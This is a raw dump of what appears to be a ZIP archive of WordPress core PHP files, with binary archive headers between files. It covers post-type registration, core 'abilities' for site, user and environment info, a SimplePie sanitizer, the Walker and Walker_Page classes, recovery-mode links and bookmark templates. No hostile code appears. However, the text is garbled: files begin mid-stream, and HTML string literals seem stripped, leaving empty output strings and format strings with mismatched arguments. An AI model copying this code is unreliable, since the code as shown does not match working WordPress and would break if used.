'&paged=$matches[1]', 'top' ); } } $permastruct_args = $this->rewrite; $permastruct_args['feed'] = $permastruct_args['feeds']; add_permastruct( $this->name, "{$this->rewrite['slug']}/%$this->name%", $permastruct_args ); } } /** * Registers the post type meta box if a custom callback was specified. * * @since 4.6.0 */ public function register_meta_boxes() { if ( $this->register_meta_box_cb ) { add_action( 'add_meta_boxes_' . $this->name, $this->register_meta_box_cb, 10, 1 ); } } /** * Adds the future post hook action for the post type. * * @since 4.6.0 */ public function add_hooks() { add_action( 'future_' . $this->name, '_future_post_hook', 5, 2 ); } /** * Registers the taxonomies for the post type. * * @since 4.6.0 */ public function register_taxonomies() { foreach ( $this->taxonomies as $taxonomy ) { register_taxonomy_for_object_type( $taxonomy, $this->name ); } } /** * Removes the features support for the post type. * * @since 4.6.0 * * @global array $_wp_post_type_features Post type features. */ public function remove_supports() { global $_wp_post_type_features; unset( $_wp_post_type_features[ $this->name ] ); } /** * Removes any rewrite rules, permastructs, and rules for the post type. * * @since 4.6.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * @global WP $wp Current WordPress environment instance. * @global array $post_type_meta_caps Used to remove meta capabilities. */ public function remove_rewrite_rules() { global $wp, $wp_rewrite, $post_type_meta_caps; // Remove query var. if ( false !== $this->query_var ) { $wp->remove_query_var( $this->query_var ); } // Remove any rewrite rules, permastructs, and rules. if ( false !== $this->rewrite ) { remove_rewrite_tag( "%$this->name%" ); remove_permastruct( $this->name ); foreach ( $wp_rewrite->extra_rules_top as $regex => $query ) { if ( str_contains( $query, "index.php?post_type=$this->name" ) ) { unset( $wp_rewrite->extra_rules_top[ $regex ] ); } } } // Remove registered custom meta capabilities. foreach ( $this->cap as $cap ) { unset( $post_type_meta_caps[ $cap ] ); } } /** * Unregisters the post type meta box if a custom callback was specified. * * @since 4.6.0 */ public function unregister_meta_boxes() { if ( $this->register_meta_box_cb ) { remove_action( 'add_meta_boxes_' . $this->name, $this->register_meta_box_cb, 10 ); } } /** * Removes the post type from all taxonomies. * * @since 4.6.0 */ public function unregister_taxonomies() { foreach ( get_object_taxonomies( $this->name ) as $taxonomy ) { unregister_taxonomy_for_object_type( $taxonomy, $this->name ); } } /** * Removes the future post hook action for the post type. * * @since 4.6.0 */ public function remove_hooks() { remove_action( 'future_' . $this->name, '_future_post_hook', 5 ); } /** * Gets the REST API controller for this post type. * * Will only instantiate the controller class once per request. * * @since 5.3.0 * * @return WP_REST_Controller|null The controller instance, or null if the post type * is set not to show in rest. */ public function get_rest_controller() { if ( ! $this->show_in_rest ) { return null; } $class = $this->rest_controller_class ? $this->rest_controller_class : WP_REST_Posts_Controller::class; if ( ! class_exists( $class ) ) { return null; } if ( ! is_subclass_of( $class, WP_REST_Controller::class ) ) { return null; } if ( ! $this->rest_controller ) { $this->rest_controller = new $class( $this->name ); } if ( ! ( $this->rest_controller instanceof $class ) ) { return null; } return $this->rest_controller; } /** * Gets the REST API revisions controller for this post type. * * Will only instantiate the controller class once per request. * * @since 6.4.0 * * @return WP_REST_Controller|null The controller instance, or null if the post type * is set not to show in rest. */ public function get_revisions_rest_controller() { if ( ! $this->show_in_rest ) { return null; } if ( ! post_type_supports( $this->name, 'revisions' ) ) { return null; } $class = $this->revisions_rest_controller_class ? $this->revisions_rest_controller_class : WP_REST_Revisions_Controller::class; if ( ! class_exists( $class ) ) { return null; } if ( ! is_subclass_of( $class, WP_REST_Controller::class ) ) { return null; } if ( ! $this->revisions_rest_controller ) { $this->revisions_rest_controller = new $class( $this->name ); } if ( ! ( $this->revisions_rest_controller instanceof $class ) ) { return null; } return $this->revisions_rest_controller; } /** * Gets the REST API autosave controller for this post type. * * Will only instantiate the controller class once per request. * * @since 6.4.0 * * @return WP_REST_Controller|null The controller instance, or null if the post type * is set not to show in rest. */ public function get_autosave_rest_controller() { if ( ! $this->show_in_rest ) { return null; } if ( ! post_type_supports( $this->name, 'autosave' ) ) { return null; } $class = $this->autosave_rest_controller_class ? $this->autosave_rest_controller_class : WP_REST_Autosaves_Controller::class; if ( ! class_exists( $class ) ) { return null; } if ( ! is_subclass_of( $class, WP_REST_Controller::class ) ) { return null; } if ( ! $this->autosave_rest_controller ) { $this->autosave_rest_controller = new $class( $this->name ); } if ( ! ( $this->autosave_rest_controller instanceof $class ) ) { return null; } return $this->autosave_rest_controller; } /** * Returns the default labels for post types. * * @since 6.0.0 * * @return (string|null)[][] The default labels for post types. */ public static function get_default_labels() { if ( ! empty( self::$default_labels ) ) { return self::$default_labels; } self::$default_labels = array( 'name' => array( _x( 'Posts', 'post type general name' ), _x( 'Pages', 'post type general name' ) ), 'singular_name' => array( _x( 'Post', 'post type singular name' ), _x( 'Page', 'post type singular name' ) ), 'add_new' => array( __( 'Add' ), __( 'Add' ) ), 'add_new_item' => array( __( 'Add Post' ), __( 'Add Page' ) ), 'edit_item' => array( __( 'Edit Post' ), __( 'Edit Page' ) ), 'new_item' => array( __( 'New Post' ), __( 'New Page' ) ), 'view_item' => array( __( 'View Post' ), __( 'View Page' ) ), 'view_items' => array( __( 'View Posts' ), __( 'View Pages' ) ), 'search_items' => array( __( 'Search Posts' ), __( 'Search Pages' ) ), 'not_found' => array( __( 'No posts found.' ), __( 'No pages found.' ) ), 'not_found_in_trash' => array( __( 'No posts found in Trash.' ), __( 'No pages found in Trash.' ) ), 'parent_item_colon' => array( null, __( 'Parent Page:' ) ), 'all_items' => array( __( 'All Posts' ), __( 'All Pages' ) ), 'archives' => array( __( 'Post Archives' ), __( 'Page Archives' ) ), 'attributes' => array( __( 'Post Attributes' ), __( 'Page Attributes' ) ), 'insert_into_item' => array( __( 'Insert into post' ), __( 'Insert into page' ) ), 'uploaded_to_this_item' => array( __( 'Uploaded to this post' ), __( 'Uploaded to this page' ) ), 'featured_image' => array( _x( 'Featured image', 'post' ), _x( 'Featured image', 'page' ) ), 'set_featured_image' => array( _x( 'Set featured image', 'post' ), _x( 'Set featured image', 'page' ) ), 'remove_featured_image' => array( _x( 'Remove featured image', 'post' ), _x( 'Remove featured image', 'page' ) ), 'use_featured_image' => array( _x( 'Use as featured image', 'post' ), _x( 'Use as featured image', 'page' ) ), 'filter_items_list' => array( __( 'Filter posts list' ), __( 'Filter pages list' ) ), 'filter_by_date' => array( __( 'Filter by date' ), __( 'Filter by date' ) ), 'items_list_navigation' => array( __( 'Posts list navigation' ), __( 'Pages list navigation' ) ), 'items_list' => array( __( 'Posts list' ), __( 'Pages list' ) ), 'item_published' => array( __( 'Post published.' ), __( 'Page published.' ) ), 'item_published_privately' => array( __( 'Post published privately.' ), __( 'Page published privately.' ) ), 'item_reverted_to_draft' => array( __( 'Post reverted to draft.' ), __( 'Page reverted to draft.' ) ), 'item_trashed' => array( __( 'Post trashed.' ), __( 'Page trashed.' ) ), 'item_scheduled' => array( __( 'Post scheduled.' ), __( 'Page scheduled.' ) ), 'item_updated' => array( __( 'Post updated.' ), __( 'Page updated.' ) ), 'item_link' => array( _x( 'Post Link', 'navigation link block title' ), _x( 'Page Link', 'navigation link block title' ), ), 'item_link_description' => array( _x( 'A link to a post.', 'navigation link block description' ), _x( 'A link to a page.', 'navigation link block description' ), ), ); return self::$default_labels; } /** * Resets the cache for the default labels. * * @since 6.0.0 */ public static function reset_default_labels() { self::$default_labels = array(); } } PK!~°×Y// abilities.phpnuȯÝí __( 'Site' ), 'description' => __( 'Abilities that retrieve or modify site information and settings.' ), ) ); wp_register_ability_category( 'user', array( 'label' => __( 'User' ), 'description' => __( 'Abilities that retrieve or modify user information and settings.' ), ) ); } /** * Registers the default core abilities. * * @since 6.9.0 * * @return void */ function wp_register_core_abilities(): void { $category_site = 'site'; $category_user = 'user'; $site_info_properties = array( 'name' => array( 'type' => 'string', 'description' => __( 'The site title.' ), ), 'description' => array( 'type' => 'string', 'description' => __( 'The site tagline.' ), ), 'url' => array( 'type' => 'string', 'description' => __( 'The site home URL.' ), ), 'wpurl' => array( 'type' => 'string', 'description' => __( 'The WordPress installation URL.' ), ), 'admin_email' => array( 'type' => 'string', 'description' => __( 'The site administrator email address.' ), ), 'charset' => array( 'type' => 'string', 'description' => __( 'The site character encoding.' ), ), 'language' => array( 'type' => 'string', 'description' => __( 'The site language locale code.' ), ), 'version' => array( 'type' => 'string', 'description' => __( 'The WordPress version.' ), ), ); $site_info_fields = array_keys( $site_info_properties ); wp_register_ability( 'core/get-site-info', array( 'label' => __( 'Get Site Information' ), 'description' => __( 'Returns site information configured in WordPress. By default returns all fields, or optionally a filtered subset.' ), 'category' => $category_site, 'input_schema' => array( 'type' => 'object', 'properties' => array( 'fields' => array( 'type' => 'array', 'items' => array( 'type' => 'string', 'enum' => $site_info_fields, ), 'description' => __( 'Optional: Limit response to specific fields. If omitted, all fields are returned.' ), ), ), 'additionalProperties' => false, 'default' => array(), ), 'output_schema' => array( 'type' => 'object', 'properties' => $site_info_properties, 'additionalProperties' => false, ), 'execute_callback' => static function ( $input = array() ) use ( $site_info_fields ): array { $input = is_array( $input ) ? $input : array(); $requested_fields = ! empty( $input['fields'] ) ? $input['fields'] : $site_info_fields; $result = array(); foreach ( $requested_fields as $field ) { $result[ $field ] = get_bloginfo( $field ); } return $result; }, 'permission_callback' => static function (): bool { return current_user_can( 'manage_options' ); }, 'meta' => array( 'annotations' => array( 'readonly' => true, 'destructive' => false, 'idempotent' => true, ), 'show_in_rest' => true, ), ) ); wp_register_ability( 'core/get-user-info', array( 'label' => __( 'Get User Information' ), 'description' => __( 'Returns basic profile details for the current authenticated user to support personalization, auditing, and access-aware behavior.' ), 'category' => $category_user, 'output_schema' => array( 'type' => 'object', 'required' => array( 'id', 'display_name', 'user_nicename', 'user_login', 'roles', 'locale' ), 'properties' => array( 'id' => array( 'type' => 'integer', 'description' => __( 'The user ID.' ), ), 'display_name' => array( 'type' => 'string', 'description' => __( 'The display name of the user.' ), ), 'user_nicename' => array( 'type' => 'string', 'description' => __( 'The URL-friendly name for the user.' ), ), 'user_login' => array( 'type' => 'string', 'description' => __( 'The login username for the user.' ), ), 'roles' => array( 'type' => 'array', 'description' => __( 'The roles assigned to the user.' ), 'items' => array( 'type' => 'string', ), ), 'locale' => array( 'type' => 'string', 'description' => __( 'The locale string for the user, such as en_US.' ), ), ), 'additionalProperties' => false, ), 'execute_callback' => static function (): array { $current_user = wp_get_current_user(); return array( 'id' => $current_user->ID, 'display_name' => $current_user->display_name, 'user_nicename' => $current_user->user_nicename, 'user_login' => $current_user->user_login, 'roles' => $current_user->roles, 'locale' => get_user_locale( $current_user ), ); }, 'permission_callback' => static function (): bool { return is_user_logged_in(); }, 'meta' => array( 'annotations' => array( 'readonly' => true, 'destructive' => false, 'idempotent' => true, ), 'show_in_rest' => false, ), ) ); wp_register_ability( 'core/get-environment-info', array( 'label' => __( 'Get Environment Info' ), 'description' => __( 'Returns core details about the site\'s runtime context for diagnostics and compatibility (environment, PHP runtime, database server info, WordPress version).' ), 'category' => $category_site, 'output_schema' => array( 'type' => 'object', 'required' => array( 'environment', 'php_version', 'db_server_info', 'wp_version' ), 'properties' => array( 'environment' => array( 'type' => 'string', 'description' => __( 'The site\'s runtime environment classification (can be one of these: production, staging, development, local).' ), 'enum' => array( 'production', 'staging', 'development', 'local' ), ), 'php_version' => array( 'type' => 'string', 'description' => __( 'The PHP runtime version executing WordPress.' ), ), 'db_server_info' => array( 'type' => 'string', 'description' => __( 'The database server vendor and version string reported by the driver.' ), ), 'wp_version' => array( 'type' => 'string', 'description' => __( 'The WordPress core version running on this site.' ), ), ), 'additionalProperties' => false, ), 'execute_callback' => static function (): array { global $wpdb; $env = wp_get_environment_type(); $php_version = phpversion(); $db_server_info = ''; if ( method_exists( $wpdb, 'db_server_info' ) ) { $db_server_info = $wpdb->db_server_info() ?? ''; } $wp_version = get_bloginfo( 'version' ); return array( 'environment' => $env, 'php_version' => $php_version, 'db_server_info' => $db_server_info, 'wp_version' => $wp_version, ); }, 'permission_callback' => static function (): bool { return current_user_can( 'manage_options' ); }, 'meta' => array( 'annotations' => array( 'readonly' => true, 'destructive' => false, 'idempotent' => true, ), 'show_in_rest' => true, ), ) ); } PK!P¨‡vv$class-wp-simplepie-sanitize-kses.phpnuȯÝí)/', $data ) ) { $type |= SimplePie\SimplePie::CONSTRUCT_HTML; } else { $type |= SimplePie\SimplePie::CONSTRUCT_TEXT; } } if ( $type & SimplePie\SimplePie::CONSTRUCT_BASE64 ) { $data = base64_decode( $data ); } if ( $type & ( SimplePie\SimplePie::CONSTRUCT_HTML | \SimplePie\SimplePie::CONSTRUCT_XHTML ) ) { $data = wp_kses_post( $data ); if ( 'UTF-8' !== $this->output_encoding ) { $data = $this->registry->call( 'Misc', 'change_encoding', array( $data, 'UTF-8', $this->output_encoding ) ); } return $data; } else { return parent::sanitize( $data, $type, $base ); } } } PK!üe1 4 4class-wp-walker.phpnuȯÝídb_fields['id']; $id = $element->$id_field; // Display this element. $this->has_children = ! empty( $children_elements[ $id ] ); if ( isset( $args[0] ) && is_array( $args[0] ) ) { $args[0]['has_children'] = $this->has_children; // Back-compat. } $this->start_el( $output, $element, $depth, ...array_values( $args ) ); // Descend only when the depth is right and there are children for this element. if ( ( 0 === $max_depth || $max_depth > $depth + 1 ) && isset( $children_elements[ $id ] ) ) { foreach ( $children_elements[ $id ] as $child ) { if ( ! isset( $newlevel ) ) { $newlevel = true; // Start the child delimiter. $this->start_lvl( $output, $depth, ...array_values( $args ) ); } $this->display_element( $child, $children_elements, $max_depth, $depth + 1, $args, $output ); } unset( $children_elements[ $id ] ); } if ( isset( $newlevel ) && $newlevel ) { // End the child delimiter. $this->end_lvl( $output, $depth, ...array_values( $args ) ); } // End this element. $this->end_el( $output, $element, $depth, ...array_values( $args ) ); } /** * Displays array of elements hierarchically. * * Does not assume any existing order of elements. * * $max_depth = -1 means flatly display every element. * $max_depth = 0 means display all levels. * $max_depth > 0 specifies the number of display levels. * * @since 2.1.0 * @since 5.3.0 Formalized the existing `...$args` parameter by adding it * to the function signature. * * @param array $elements An array of elements. * @param int $max_depth The maximum hierarchical depth. * @param mixed ...$args Optional additional arguments. * @return string The hierarchical item output. */ public function walk( $elements, $max_depth, ...$args ) { $output = ''; $max_depth = (int) $max_depth; // Invalid parameter or nothing to walk. if ( $max_depth < -1 || empty( $elements ) ) { return $output; } $parent_field = $this->db_fields['parent']; // Flat display. if ( -1 === $max_depth ) { $empty_array = array(); foreach ( $elements as $e ) { $this->display_element( $e, $empty_array, 1, 0, $args, $output ); } return $output; } /* * Need to display in hierarchical order. * Separate elements into two buckets: top level and children elements. * Children_elements is two dimensional array. Example: * Children_elements[10][] contains all sub-elements whose parent is 10. */ $top_level_elements = array(); $children_elements = array(); foreach ( $elements as $e ) { if ( empty( $e->$parent_field ) ) { $top_level_elements[] = $e; } else { $children_elements[ $e->$parent_field ][] = $e; } } /* * When none of the elements is top level. * Assume the first one must be root of the sub elements. */ if ( empty( $top_level_elements ) ) { $first = array_slice( $elements, 0, 1 ); $root = $first[0]; $top_level_elements = array(); $children_elements = array(); foreach ( $elements as $e ) { if ( $root->$parent_field === $e->$parent_field ) { $top_level_elements[] = $e; } else { $children_elements[ $e->$parent_field ][] = $e; } } } foreach ( $top_level_elements as $e ) { $this->display_element( $e, $children_elements, $max_depth, 0, $args, $output ); } /* * If we are displaying all levels, and remaining children_elements is not empty, * then we got orphans, which should be displayed regardless. */ if ( ( 0 === $max_depth ) && count( $children_elements ) > 0 ) { $empty_array = array(); foreach ( $children_elements as $orphans ) { foreach ( $orphans as $op ) { $this->display_element( $op, $empty_array, 1, 0, $args, $output ); } } } return $output; } /** * Produces a page of nested elements. * * Given an array of hierarchical elements, the maximum depth, a specific page number, * and number of elements per page, this function first determines all top level root elements * belonging to that page, then lists them and all of their children in hierarchical order. * * $max_depth = 0 means display all levels. * $max_depth > 0 specifies the number of display levels. * * @since 2.7.0 * @since 5.3.0 Formalized the existing `...$args` parameter by adding it * to the function signature. * * @param array $elements An array of elements. * @param int $max_depth The maximum hierarchical depth. * @param int $page_num The specific page number, beginning with 1. * @param int $per_page Number of elements per page. * @param mixed ...$args Optional additional arguments. * @return string XHTML of the specified page of elements. */ public function paged_walk( $elements, $max_depth, $page_num, $per_page, ...$args ) { $output = ''; $max_depth = (int) $max_depth; if ( empty( $elements ) || $max_depth < -1 ) { return $output; } $parent_field = $this->db_fields['parent']; $count = -1; if ( -1 === $max_depth ) { $total_top = count( $elements ); } if ( $page_num < 1 || $per_page < 0 ) { // No paging. $paging = false; $start = 0; if ( -1 === $max_depth ) { $end = $total_top; } $this->max_pages = 1; } else { $paging = true; $start = ( (int) $page_num - 1 ) * (int) $per_page; $end = $start + $per_page; if ( -1 === $max_depth ) { $this->max_pages = (int) ceil( $total_top / $per_page ); } } // Flat display. if ( -1 === $max_depth ) { if ( ! empty( $args[0]['reverse_top_level'] ) ) { $elements = array_reverse( $elements ); $oldstart = $start; $start = $total_top - $end; $end = $total_top - $oldstart; } $empty_array = array(); foreach ( $elements as $e ) { ++$count; if ( $count < $start ) { continue; } if ( $count >= $end ) { break; } $this->display_element( $e, $empty_array, 1, 0, $args, $output ); } return $output; } /* * Separate elements into two buckets: top level and children elements. * Children_elements is two dimensional array, e.g. * $children_elements[10][] contains all sub-elements whose parent is 10. */ $top_level_elements = array(); $children_elements = array(); foreach ( $elements as $e ) { if ( empty( $e->$parent_field ) ) { $top_level_elements[] = $e; } else { $children_elements[ $e->$parent_field ][] = $e; } } $total_top = count( $top_level_elements ); if ( $paging ) { $this->max_pages = (int) ceil( $total_top / $per_page ); } else { $end = $total_top; } if ( ! empty( $args[0]['reverse_top_level'] ) ) { $top_level_elements = array_reverse( $top_level_elements ); $oldstart = $start; $start = $total_top - $end; $end = $total_top - $oldstart; } if ( ! empty( $args[0]['reverse_children'] ) ) { foreach ( $children_elements as $parent => $children ) { $children_elements[ $parent ] = array_reverse( $children ); } } foreach ( $top_level_elements as $e ) { ++$count; // For the last page, need to unset earlier children in order to keep track of orphans. if ( $end >= $total_top && $count < $start ) { $this->unset_children( $e, $children_elements ); } if ( $count < $start ) { continue; } if ( $count >= $end ) { break; } $this->display_element( $e, $children_elements, $max_depth, 0, $args, $output ); } if ( $end >= $total_top && count( $children_elements ) > 0 ) { $empty_array = array(); foreach ( $children_elements as $orphans ) { foreach ( $orphans as $op ) { $this->display_element( $op, $empty_array, 1, 0, $args, $output ); } } } return $output; } /** * Calculates the total number of root elements. * * @since 2.7.0 * * @param array $elements Elements to list. * @return int Number of root elements. */ public function get_number_of_root_elements( $elements ) { $num = 0; $parent_field = $this->db_fields['parent']; foreach ( $elements as $e ) { if ( empty( $e->$parent_field ) ) { ++$num; } } return $num; } /** * Unsets all the children for a given top level element. * * @since 2.7.0 * * @param object $element The top level element. * @param array $children_elements The children elements. */ public function unset_children( $element, &$children_elements ) { if ( ! $element || ! $children_elements ) { return; } $id_field = $this->db_fields['id']; $id = $element->$id_field; if ( ! empty( $children_elements[ $id ] ) && is_array( $children_elements[ $id ] ) ) { foreach ( (array) $children_elements[ $id ] as $child ) { $this->unset_children( $child, $children_elements ); } } unset( $children_elements[ $id ] ); } } PK!oß÷¼¼class-walker-page.phpnu„[µü¤ 'post_parent', 'id' => 'ID', ); /** * Outputs the beginning of the current level in the tree before elements are output. * * @since 2.1.0 * * @see Walker::start_lvl() * * @param string $output Used to append additional content (passed by reference). * @param int $depth Optional. Depth of page. Used for padding. Default 0. * @param array $args Optional. Arguments for outputting the next level. * Default empty array. */ public function start_lvl( &$output, $depth = 0, $args = array() ) { if ( isset( $args['item_spacing'] ) && 'preserve' === $args['item_spacing'] ) { $t = "\t"; $n = "\n"; } else { $t = ''; $n = ''; } $indent = str_repeat( $t, $depth ); $output .= "{$n}{$indent}{$n}"; } /** * Outputs the beginning of the current element in the tree. * * @see Walker::start_el() * @since 2.1.0 * @since 5.9.0 Renamed `$page` to `$data_object` and `$current_page` to `$current_object_id` * to match parent class for PHP 8 named parameter support. * * @param string $output Used to append additional content. Passed by reference. * @param WP_Post $data_object Page data object. * @param int $depth Optional. Depth of page. Used for padding. Default 0. * @param array $args Optional. Array of arguments. Default empty array. * @param int $current_object_id Optional. ID of the current page. Default 0. */ public function start_el( &$output, $data_object, $depth = 0, $args = array(), $current_object_id = 0 ) { // Restores the more descriptive, specific name for use within this method. $page = $data_object; $current_page_id = $current_object_id; if ( isset( $args['item_spacing'] ) && 'preserve' === $args['item_spacing'] ) { $t = "\t"; $n = "\n"; } else { $t = ''; $n = ''; } if ( $depth ) { $indent = str_repeat( $t, $depth ); } else { $indent = ''; } $css_class = array( 'page_item', 'page-item-' . $page->ID ); if ( isset( $args['pages_with_children'][ $page->ID ] ) ) { $css_class[] = 'page_item_has_children'; } if ( ! empty( $current_page_id ) ) { $_current_page = get_post( $current_page_id ); if ( $_current_page && in_array( $page->ID, $_current_page->ancestors, true ) ) { $css_class[] = 'current_page_ancestor'; } if ( $page->ID === (int) $current_page_id ) { $css_class[] = 'current_page_item'; } elseif ( $_current_page && $page->ID === $_current_page->post_parent ) { $css_class[] = 'current_page_parent'; } } elseif ( (int) get_option( 'page_for_posts' ) === $page->ID ) { $css_class[] = 'current_page_parent'; } /** * Filters the list of CSS classes to include with each page item in the list. * * @since 2.8.0 * * @see wp_list_pages() * * @param string[] $css_class An array of CSS classes to be applied to each list item. * @param WP_Post $page Page data object. * @param int $depth Depth of page, used for padding. * @param array $args An array of arguments. * @param int $current_page_id ID of the current page. */ $css_classes = implode( ' ', apply_filters( 'page_css_class', $css_class, $page, $depth, $args, $current_page_id ) ); $css_classes = $css_classes ? ' class="' . esc_attr( $css_classes ) . '"' : ''; if ( '' === $page->post_title ) { /* translators: %d: ID of a post. */ $page->post_title = sprintf( __( '#%d (no title)' ), $page->ID ); } $args['link_before'] = empty( $args['link_before'] ) ? '' : $args['link_before']; $args['link_after'] = empty( $args['link_after'] ) ? '' : $args['link_after']; $atts = array(); $atts['href'] = get_permalink( $page->ID ); $atts['aria-current'] = ( $page->ID === (int) $current_page_id ) ? 'page' : ''; /** * Filters the HTML attributes applied to a page menu item's anchor element. * * @since 4.8.0 * * @param array $atts { * The HTML attributes applied to the menu item's `` element, empty strings are ignored. * * @type string $href The href attribute. * @type string $aria-current The aria-current attribute. * } * @param WP_Post $page Page data object. * @param int $depth Depth of page, used for padding. * @param array $args An array of arguments. * @param int $current_page_id ID of the current page. */ $atts = apply_filters( 'page_menu_link_attributes', $atts, $page, $depth, $args, $current_page_id ); $attributes = ''; foreach ( $atts as $attr => $value ) { if ( is_scalar( $value ) && '' !== $value && false !== $value ) { $value = ( 'href' === $attr ) ? esc_url( $value ) : esc_attr( $value ); $attributes .= ' ' . $attr . '="' . $value . '"'; } } $output .= $indent . sprintf( '%s%s%s', $css_classes, $attributes, $args['link_before'], /** This filter is documented in wp-includes/post-template.php */ apply_filters( 'the_title', $page->post_title, $page->ID ), $args['link_after'] ); if ( ! empty( $args['show_date'] ) ) { if ( 'modified' === $args['show_date'] ) { $time = $page->post_modified; } else { $time = $page->post_date; } $date_format = empty( $args['date_format'] ) ? '' : $args['date_format']; $output .= ' ' . mysql2date( $date_format, $time ); } } /** * Outputs the end of the current element in the tree. * * @since 2.1.0 * @since 5.9.0 Renamed `$page` to `$data_object` to match parent class for PHP 8 named parameter support. * * @see Walker::end_el() * * @param string $output Used to append additional content. Passed by reference. * @param WP_Post $data_object Page data object. Not used. * @param int $depth Optional. Depth of page. Default 0 (unused). * @param array $args Optional. Array of arguments. Default empty array. */ public function end_el( &$output, $data_object, $depth = 0, $args = array() ) { if ( isset( $args['item_spacing'] ) && 'preserve' === $args['item_spacing'] ) { $t = "\t"; $n = "\n"; } else { $t = ''; $n = ''; } $output .= "{$n}"; } } PK!•¡·‡ ‡ 'class-wp-recovery-mode-link-service.phpnu„[µü¤cookie_service = $cookie_service; $this->key_service = $key_service; } /** * Generates a URL to begin recovery mode. * * Only one recovery mode URL can may be valid at the same time. * * @since 5.2.0 * * @return string Generated URL. */ public function generate_url() { $token = $this->key_service->generate_recovery_mode_token(); $key = $this->key_service->generate_and_store_recovery_mode_key( $token ); return $this->get_recovery_mode_begin_url( $token, $key ); } /** * Enters recovery mode when the user hits wp-login.php with a valid recovery mode link. * * @since 5.2.0 * * @global string $pagenow The filename of the current screen. * * @param int $ttl Number of seconds the link should be valid for. */ public function handle_begin_link( $ttl ) { if ( ! isset( $GLOBALS['pagenow'] ) || 'wp-login.php' !== $GLOBALS['pagenow'] ) { return; } if ( ! isset( $_GET['action'], $_GET['rm_token'], $_GET['rm_key'] ) || self::LOGIN_ACTION_ENTER !== $_GET['action'] ) { return; } if ( ! function_exists( 'wp_generate_password' ) ) { require_once ABSPATH . WPINC . '/pluggable.php'; } $validated = $this->key_service->validate_recovery_mode_key( $_GET['rm_token'], $_GET['rm_key'], $ttl ); if ( is_wp_error( $validated ) ) { wp_die( $validated, '' ); } $this->cookie_service->set_cookie(); $url = add_query_arg( 'action', self::LOGIN_ACTION_ENTERED, wp_login_url() ); wp_redirect( $url ); die; } /** * Gets a URL to begin recovery mode. * * @since 5.2.0 * * @param string $token Recovery Mode token created by {@see generate_recovery_mode_token()}. * @param string $key Recovery Mode key created by {@see generate_and_store_recovery_mode_key()}. * @return string Recovery mode begin URL. */ private function get_recovery_mode_begin_url( $token, $key ) { $url = add_query_arg( array( 'action' => self::LOGIN_ACTION_ENTER, 'rm_token' => $token, 'rm_key' => $key, ), wp_login_url() ); /** * Filters the URL to begin recovery mode. * * @since 5.2.0 * * @param string $url The generated recovery mode begin URL. * @param string $token The token used to identify the key. * @param string $key The recovery mode key. */ return apply_filters( 'recovery_mode_begin_url', $url, $token, $key ); } } PK!ïÉ[ˆà1à1bookmark-template.phpnuȯÝí`. * @type string $after The HTML or text to append to each bookmark. Default ``. * @type string $link_before The HTML or text to prepend to each bookmark inside the anchor * tags. Default empty. * @type string $link_after The HTML or text to append to each bookmark inside the anchor * tags. Default empty. * @type string $between The string for use in between the link, description, and image. * Default "\n". * @type int|bool $show_rating Whether to show the link rating. Accepts 1|true or 0|false. * Default 0|false. * * } * @return string Formatted output in HTML */ function _walk_bookmarks( $bookmarks, $args = '' ) { $defaults = array( 'show_updated' => 0, 'show_description' => 0, 'show_images' => 1, 'show_name' => 0, 'before' => '
  • ', 'after' => '
  • ', 'between' => "\n", 'show_rating' => 0, 'link_before' => '', 'link_after' => '', ); $parsed_args = wp_parse_args( $args, $defaults ); $output = ''; // Blank string to start with. foreach ( (array) $bookmarks as $bookmark ) { if ( ! isset( $bookmark->recently_updated ) ) { $bookmark->recently_updated = false; } $output .= $parsed_args['before']; if ( $parsed_args['show_updated'] && $bookmark->recently_updated ) { $output .= ''; } $the_link = '#'; if ( ! empty( $bookmark->link_url ) ) { $the_link = esc_url( $bookmark->link_url ); } $desc = esc_attr( sanitize_bookmark_field( 'link_description', $bookmark->link_description, $bookmark->link_id, 'display' ) ); $name = esc_attr( sanitize_bookmark_field( 'link_name', $bookmark->link_name, $bookmark->link_id, 'display' ) ); $title = $desc; if ( $parsed_args['show_updated'] ) { if ( ! str_starts_with( $bookmark->link_updated_f, '00' ) ) { $title .= ' ('; $title .= sprintf( /* translators: %s: Date and time of last update. */ __( 'Last updated: %s' ), gmdate( get_option( 'links_updated_date_format' ), $bookmark->link_updated_f + (int) ( (float) get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ) ) ); $title .= ')'; } } $alt = ' alt="' . $name . ( $parsed_args['show_description'] ? ' ' . $title : '' ) . '"'; if ( '' !== $title ) { $title = ' title="' . $title . '"'; } $rel = $bookmark->link_rel; $target = $bookmark->link_target; if ( '' !== $target ) { $target = ' target="' . $target . '"'; } if ( '' !== $rel ) { $rel = ' rel="' . esc_attr( $rel ) . '"'; } $output .= ''; $output .= $parsed_args['link_before']; if ( '' !== $bookmark->link_image && $parsed_args['show_images'] ) { if ( str_starts_with( $bookmark->link_image, 'http' ) ) { $output .= ''; } else { // If it's a relative path. $output .= ''; } if ( $parsed_args['show_name'] ) { $output .= " $name"; } } else { $output .= $name; } $output .= $parsed_args['link_after']; $output .= ''; if ( $parsed_args['show_updated'] && $bookmark->recently_updated ) { $output .= ''; } if ( $parsed_args['show_description'] && '' !== $desc ) { $output .= $parsed_args['between'] . $desc; } if ( $parsed_args['show_rating'] ) { $output .= $parsed_args['between'] . sanitize_bookmark_field( 'link_rating', $bookmark->link_rating, $bookmark->link_id, 'display' ); } $output .= $parsed_args['after'] . "\n"; } // End while. return $output; } /** * Retrieves or echoes all of the bookmarks. * * List of default arguments are as follows: * * These options define how the Category name will appear before the category * links are displayed, if 'categorize' is 1. If 'categorize' is 0, then it will * display for only the 'title_li' string and only if 'title_li' is not empty. * * @since 2.1.0 * * @see _walk_bookmarks() * * @param string|array $args { * Optional. String or array of arguments to list bookmarks. * * @type string $orderby How to order the links by. Accepts post fields. Default 'name'. * @type string $order Whether to order bookmarks in ascending or descending order. * Accepts 'ASC' (ascending) or 'DESC' (descending). Default 'ASC'. * @type int $limit Amount of bookmarks to display. Accepts 1+ or -1 for all. * Default -1. * @type string $category Comma-separated list of category IDs to include links from. * Default empty. * @type string $category_name Category to retrieve links for by name. Default empty. * @type int|bool $hide_invisible Whether to show or hide links marked as 'invisible'. Accepts * 1|true or 0|false. Default 1|true. * @type int|bool $show_updated Whether to display the time the bookmark was last updated. * Accepts 1|true or 0|false. Default 0|false. * @type int|bool $echo Whether to echo or return the formatted bookmarks. Accepts * 1|true (echo) or 0|false (return). Default 1|true. * @type int|bool $categorize Whether to show links listed by category or in a single column. * Accepts 1|true (by category) or 0|false (one column). Default 1|true. * @type int|bool $show_description Whether to show the bookmark descriptions. Accepts 1|true or 0|false. * Default 0|false. * @type string $title_li What to show before the links appear. Default 